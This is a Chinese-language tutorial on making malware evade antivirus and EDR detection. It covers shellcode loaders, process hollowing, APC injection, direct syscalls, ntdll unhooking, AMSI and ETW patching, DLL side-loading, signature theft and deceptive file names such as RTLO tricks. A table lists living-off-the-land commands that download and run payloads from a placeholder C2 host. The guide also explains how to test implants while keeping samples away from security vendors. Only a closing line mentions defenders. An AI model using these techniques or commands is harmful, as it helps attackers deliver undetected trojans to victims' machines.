免杀基础
杀毒软件检测原理
要绕过检测,先要知道杀软在哪些环节、用什么方式发现恶意代码。现代杀软的检测体系大致如下:
| 检测机制 | 检测点 | 说明 |
|---|---|---|
| 特征码扫描 | 文件落地时、内存扫描时 | 提取文件中的字节序列、字符串、导入表、节区特征,与病毒库比对。是最基础也最容易对抗的一层 |
| 启发式检测 | 静态分析阶段 | 不依赖精确特征,根据代码结构、API 组合(如 VirtualAlloc + WriteProcessMemory + CreateRemoteThread)给”恶意度”打分 |
| 行为检测 | 程序运行时 | 通过在内核层注册回调、在用户态 HOOK API(通常在 ntdll 层断链)监控进程行为链,如”申请可执行内存 → 写入 → 创建远程线程” |
| AMSI | 脚本/内存内容执行前 | 反恶意软件扫描接口,PowerShell、VBScript、.NET 等在执行前把内容送扫描,是内存马的主要关卡 |
| ETW | 程序运行时 | Windows 事件追踪,CLR、进程、线程等事件会被安全产品消费,用于捕捉内存加载等行为 |
| 云查杀/沙箱 | 样本提交后 | 把可疑文件丢进沙箱运行,观察网络连接、文件操作、注册表修改,秒级回传结果 |
免杀总体思路
对应上述检测层次,免杀工作可以分成三条主线:
- 静态免杀:让落地文件在字节层面不含已知特征——混淆、加密、加壳、分离加载,对抗特征码与启发式。
- 动态免杀:让程序运行时的行为看起来正常——反沙箱、Direct Syscall 绕过用户态 Hook、Patch AMSI/ETW,对抗行为检测与沙箱。
- 白利用与伪装:让恶意代码借白程序之手执行——LOLBin、DLL 侧加载、文件伪装,从信任链上绕过。
实战中三者叠加使用:一个典型的免杀马 = 加密存储的 shellcode + 分离/远程加载 + 回调或 syscall 执行 + 反沙箱判断 + 白文件侧加载。
静态免杀(对抗特征码)
特征码定位与修改
经典思路是用 myccl、multiCCL 等工具把样本按段切分、逐段填充,反复提交扫描,把杀软命中的特征码区间逐步缩小到具体字节。定位到特征后,常见的修改手法:
- 改跳转:特征落在 jz/jnz 等条件跳转上时,改成等价的
jmp+nop或互换跳转条件+逻辑。 - 等价指令替换:
add eax, 1换inc eax,mov eax, 0换xor eax, eax。 - 加花指令:在特征码中间插入不影响执行流的垃圾字节(见下文花指令一节)。
- 字符串特征:把敏感字符串(”meterpreter”、”VirtualAlloc” 等)做大小写变换、拆断或加密。
该思路针对有源码的情况意义不大(源码级重新混淆更干净),主要用于无源码的现成样本。
源码级混淆
有源码时优先在源码层处理,效果远好于事后改二进制。
1. 字符串加密:所有明文字符串(URL、文件名、API 名、注册表键)都是特征来源。编译前把字符串加密成字节数组,运行时再解密:
1 | // 编译期预置密文,运行时用 XOR 还原 |
更进一步可用 C++ 的 constexpr 在编译期完成加密,二进制中只存在密文。
2. API 动态获取:导入表中的 VirtualAlloc、WriteProcessMemory 等敏感 API 是启发式的重点关注对象。改为运行时按名获取,导入表里就只剩 GetProcAddress 和 LoadLibrary:
1 | typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); |
注意 “VirtualAlloc” 这类名字本身也是特征,需配合字符串加密一起用。
3. API 哈希:连 API 名字符串都不留,按哈希值遍历导出表匹配,是 shellcode 开发的标准做法(如 ROR13 哈希),工具链(如 Metasploit 的 block_api)都是这么实现的。
4. 花指令与垃圾代码:在执行流中插入不影响结果的指令,打乱特征码的连续性:
1 | nop |
加壳与保护
- UPX 等压缩壳:只压缩不保护,且 UPX 特征极其明显,很多杀软对 UPX 加壳文件直接提高怀疑等级甚至报毒,单独用基本无免杀效果。
- VMProtect、Themida、Enigma 等商业壳:把关键代码虚拟化成自定义字节码,静态分析难度大增,对特征码层面有较好效果。但壳的加载器本身也有特征,知名壳的”壳特征”同样会被标记,需要选不常见的版本并配合混淆。
- 结论:加壳是辅助手段,不能代替源码级处理;自己写一个简单的加密壳(壳内解密 .text 段再跳 OEP)往往比知名壳效果更好,因为没有公开特征。
签名与资源伪造
杀软对白名单程序(有合法数字签名、正常版本信息)的信任度显著更高:
- 签名窃取:用 sigthief 等工具把正常签名软件(如系统工具)的签名区整体剪贴到木马尾部。签名会失效,但部分杀软只检查”有没有签名”而不验证有效性。
- 资源伪造:用 Resource Hacker 或编译时资源脚本,给木马补上正规的公司名、文件描述、版本号、图标,降低人工与启发式的警惕。
分离加载
核心思想:落地的文件里根本不含恶意内容,杀软对着一个”干净”的加载器自然扫不出东西。常见形式:
- 加载器 + 密文 shellcode:shellcode 用 AES/RC4 加密后存成单独文件(或直接内嵌为密文资源),加载器运行时读入解密执行。文件分开落地,各自都不过特征。
- 远程加载:加载器只包含一个 HTTP 下载逻辑,运行时从 C2 拉取加密的 shellcode 到内存解密执行,全程不落第二个文件。
- 载体藏匿:把 shellcode 藏进正常文件的尾部、图片像素(LSB 隐写)或注册表值里,加载器负责提取。
1 | // 远程拉取 + 解密执行的极简示例 |
Shellcode 加载技术
基础加载器
最经典的加载流程:申请可执行内存 → 写入 shellcode → 创建线程执行。
1 |
|
注意:这套 VirtualAlloc(RWX) + memcpy + CreateThread 的组合本身就是杀软的重点特征,直接编译使用几乎必报。实战中至少要做三点改进:先 RW 后改 RX(如上)、敏感 API 动态化、配合下文的替代执行方式。
回调函数执行
Windows 大量 API 接受回调函数指针,把 shellcode 地址作为回调传入即可借 API 之手执行,行为特征与 CreateThread 明显不同:
1 | // EnumWindows:为每个窗口调用一次回调 |
进阶用法还包括纤程(ConvertThreadToFiber + CreateFiber + SwitchToFiber)和线程池工作项,行为特征更冷僻。
APC 注入
APC(异步过程调用)可以把 shellcode 排入目标线程的执行队列,线程进入可告警状态时执行:
1 | // 向本进程一个可告警线程投递 |
Early Bird 是常见变体:以 CREATE_SUSPENDED 创建挂起进程,写入 shellcode 后对其主线程 QueueUserAPC,再 ResumeThread——进程刚开始跑就执行 APC,赶在杀软的进程初始化监控之前完成执行。
进程镂空(Process Hollowing)
创建一个挂起的合法进程(如 explorer.exe),掏空其映像,替换成恶意代码再恢复运行。任务管理器里看到的是”正常进程”:
1 | // 1. 挂起创建傀儡进程 |
行为检测会关注”进程内存被整体改写 + 入口点变更”,因此现代用法常配合 syscall(见下章)替换这里的 WriteProcessMemory 等 API。
反射加载与无落地
反射 DLL 注入(RDI):DLL 自身携带一个引导函数(ReflectiveLoader),在内存中自己完成 PE 加载的全过程——解析导入表、重定位、调用 DllMain,全程不经过 LoadLibrary,磁盘上没有 DLL 文件。Cobalt Strike 的 beacon.dll 即基于此。
PE 转 shellcode 工具:
| 工具 | 用途 |
|---|---|
| donut | 把 .NET 程序集、PE、脚本转成可注入的 shellcode |
| sRDI | 把普通 DLL 转成支持反射加载的 shellcode |
| pe_to_shellcode | 直接把 PE 转成可执行 shellcode |
.NET 反射加载:C# 程序用 Assembly.Load(byte[]) 直接从内存字节数组加载程序集并调用入口,无任何文件落地,是免杀后渗透工具(如 execute-assembly 机制)的基础:
1 | byte[] raw = Convert.FromBase64String(File.ReadAllText("payload.b64")); |
Python ctypes 加载:目标有 Python 环境时,几行 ctypes 即可完成”申请内存 → 写入 → 执行”,脚本本身几乎无特征:
1 | import ctypes |
动态免杀(对抗行为检测)
反沙箱与反虚拟机
沙箱分析有时间限制且环境特征明显,检测到沙箱就”装死”退出,可让样本在沙箱报告中表现为无害。常用检测维度:
1 | // 1. CPU 核数:沙箱常只分配 1~2 核 |
- 延时执行:
Sleep(600000)直接睡 10 分钟会被沙箱的快进机制跳过,变形做法是执行一段真实耗时的计算(如大循环浮点运算)、或分段睡眠并检测时间是否被加速(睡 60 秒前后GetTickCount差值远小于 60 秒即判定被快进)。 - 交互检测:沙箱里没有真实用户,检测鼠标移动量(
GetCursorPos前后对比)、最近打开的文件数、窗口标题等。 - 虚拟环境特征:检测虚拟机进程(vmtoolsd.exe、vboxservice.exe)、注册表键(
SOFTWARE\VMware, Inc.)、MAC 地址前缀(00:0C:29 VMware、08:00:27 VirtualBox)。 - 域环境检测:只认目标——校验计算机是否加入指定域,不是目标环境直接退出,对抗云沙箱效果极好。
直接系统调用
杀软的行为监控普遍在用户态实现:在进程加载的 ntdll.dll 里给关键函数(NtAllocateVirtualMemory、NtWriteVirtualMemory 等)的入口改写成跳转,跳到杀软自己的检测逻辑,这就是用户态 Hook。
正常的 API 调用链是 kernel32 → ntdll → syscall 进内核。Direct Syscall 的思路是绕过被下钩的 ntdll 函数入口,自己直接发起系统调用,杀软的钩子在调用链上被整个跳过。
1 | ; 典型的 syscall 桩(替代 NtAllocateVirtualMemory 的 ntdll 版本) |
SSN 是核心难点,主流获取方案:
| 方案 | 原理 |
|---|---|
| Hell’s Gate | 运行时读取本进程 ntdll 的导出函数,从 mov eax, SSN 指令里直接提取 SSN |
| Halo’s Gate | 函数被钩时入口字节被改写,改为向上/向下搜索邻近的未钩函数,按 SSN 编号连续性推算目标 SSN |
| SysWhispers2 | 编译期生成按函数名哈希动态解析 SSN 的汇编桩,并支持跳转到 ntdll 内合法的 syscall 指令(间接跳转,规避”syscall 指令出现在非 ntdll 内存”的检测) |
| SysWhispers3 / HellHall | 进一步加入调用栈伪造、随机跳转等反检测手段 |
取消钩取(Unhooking)
与 Direct Syscall”绕过钩子”不同,Unhooking 的思路是把钩子拆掉:从磁盘重新读一份干净的 ntdll.dll,用它的 .text 段覆盖内存中被杀软改写的部分:
1 | // 1. 映射磁盘上的干净 ntdll |
覆盖后 ntdll 恢复原始逻辑,杀软的 Hook 全部失效。注意部分 EDR 会监控对 ntdll 内存的写操作,故常与 syscall 配合使用。
AMSI 与 ETW 绕过
AMSI(Antimalware Scan Interface):PowerShell、VBScript、.NET 4.8+ 的内存内容在执行前会调用 AmsiScanBuffer 送扫。绕过思路是在当前进程内存里 patch 该函数,让它永远返回”干净”:
1 | // patch AmsiScanBuffer 使其直接返回 AMSI_RESULT_CLEAN (0) |
PowerShell 场景下常用一行反射修改 amsiInitFailed 字段的经典手法,但这类公开脚本特征早已被收录,需要自己变形。
ETW(Event Tracing for Windows):.NET 程序集加载、PowerShell 执行等都会发 ETW 事件。patch 当前进程的 EtwEventWrite 函数开头为 ret(x64 为 xor eax, eax; ret 或直接 C3),事件发不出去,基于 ETW 的监控即失明。
两者都只影响当前进程、不改系统全局,且 patch 行为本身可能被 EDR 捕获——与 Unhooking 一样,属于”组合拳”中的一环而非万能钥匙。
白利用与伪装
LOLBin 白利用
LOLBin(Living Off the Land Binaries)指 Windows 自带的、有微软签名的合法程序,它们能被用来执行任意代码或下载文件。杀软对这些程序默认信任,借它们之手执行可大幅绕过检测:
| 程序 | 典型滥用方式 | 用途 |
|---|---|---|
| mshta | mshta http://c2/x.hta 或 mshta vbscript:Close(CreateObject("Wscript.Shell").Run(...)) |
执行远程/内嵌脚本 |
| regsvr32 | regsvr32 /s /n /u /i:http://c2/x.sct scrobj.dll |
加载远程 scriptlet 执行(squiblydoo 技巧) |
| rundll32 | rundll32 javascript:"\..\mshtml,RunHTMLApplication";... |
借 mshtml 执行脚本 |
| certutil | certutil -urlcache -split -f http://c2/x.exe x.exe、certutil -decode x.b64 x.exe |
下载文件、base64 解码 |
| installutil / regasm | installutil /logfile= /U evil.exe |
执行 .NET 程序集的卸载/注册回调(无需 Main) |
| msbuild | msbuild project.xml(内嵌 Task 代码) |
编译执行内嵌 C# 代码 |
| bitsadmin | bitsadmin /transfer x http://c2/x.exe C:\x.exe |
下载文件、维持持久化 |
更多条目可查 LOLBAS 项目,它是该领域的权威索引。
DLL 侧加载(白加黑)
许多有签名的白程序启动时会从自身目录加载 DLL,且不校验 DLL 签名。把恶意 DLL 改成白程序需要的名字放在同目录,白程序启动即加载恶意代码——进程链上只有一个正常的签名程序:
- 找目标:用 ProcMon 或脚本(如 Siofra、DLLHijackScanner)扫描有签名程序的 DLL 加载行为,筛选”程序自身目录中缺失的 DLL”。常见目标是各类厂商的升级程序、安全软件组件、系统工具的旧版本。
- 做转发:恶意 DLL 需要顶替原 DLL 的导出函数,否则白程序调用不到函数会崩溃。用导出转发把调用转给真正的 DLL(
#pragma comment(linker, "/export:FuncA=real_dll.FuncA")),只在自己的 DllMain 里夹带私货。 - 起私货:DllMain 中不能做复杂操作(加载器锁),标准做法是
CreateThread起一个新线程,在线程里完成解密、加载 shellcode。
1 | BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved) { |
文件伪装
- 图标与文件名:把 exe 伪装成 Word/PDF 图标,文件名起”合同.pdf.exe”,配合隐藏已知扩展名的默认设置钓鱼。
- 长文件名藏后缀:
重要文件.pdf .exe(中间大量空格或 Tab),资源管理器省略显示真实后缀。 - RTLO 字符:在文件名中插入 Unicode 右到左覆盖符(U+202E),使显示顺序反转,
gpj.exe显示为exe.jpg样式。现代杀软与系统对此已有较多拦截,仅作了解。
免杀工程化与验证
语言与工具链
| 方向 | 代表工具/语言 | 说明 |
|---|---|---|
| C/C++ 混淆 | OLLVM(控制流平坦化、指令替换)、编译期字符串加密 | 免杀马的主力语言,配合手工 syscall/回调加载 |
| Go / Rust / Nim | garble(Go 混淆)、nim 的加密加载器模板 | 杀软特征库相对少,天然编译型无脚本特征;缺点是体积大、网络库特征明显 |
| PowerShell | Invoke-Obfuscation、AMSI.fail 生成的混淆器 | 红队脚本必备,但 PowerShell 是 AMSI 重点监控对象 |
| .NET | ConfuserEx、.NET Reactor、dnSpy 手工改 | 配合 Assembly.Load 内存加载体系 |
| C2 框架 | Cobalt Strike artifact kit(自定义 stager 源码)、malleable C2 profile(流量与内存特征定制)、sleep mask(睡眠时加密自身内存) | 工程化免杀的核心是”每次出马特征都不同” |
工程化原则:特征 = 复用。同一套模板用的次数越多,被收录的特征越全。把字符串、加密密钥、加载方式、API 调用顺序做成可替换的变量,每次构建随机组合,才能长期对抗。
效果验证
- 本地实测为准:搭多台装有不同杀软的虚拟机(Defender、火绒、360、卡巴斯基等),打快照后丢马实测,测完回滚。本地能过才是真过。
- 在线平台参考:
- VirusTotal:引擎最全,但上传的样本会共享给所有安全厂商,自己写的马一经上传特征很快入库,敏感样本慎用,可用其”仅哈希查询”先查再决定。
- 微步云沙箱、virscan:国内样本检测参考。
- 验证三个层次,缺一不可:
- 静态扫描:右键查杀不报;
- 执行行为:双击运行不被拦截、不弹警告;
- 内存扫描:运行后让杀软做全盘/内存扫描不报警(很多马静态能过、一执行被 AMSI 或内存扫描抓)。
- 通过三关后,上线一段时间再复查:杀软的云查杀可能在样本运行数小时后回传结果补杀,持续存活的马才算真正完成。
参考与小结
免杀的本质是一场”特征对抗”:攻击方不断寻找新的执行路径和信任缝隙,防守方不断把新路径纳入检测。本篇按静态特征、动态行为、白利用三条线梳理了主流手法,但实际对抗中任何单一手法都难以持久,真正的免杀方案永远是多种技术的组合与持续迭代。作为防守方,理解这些攻击面同样重要——行为链监控、内存扫描、ETW 消费、AMSI 集成,正是针对上述每一层攻击手法的应对之策。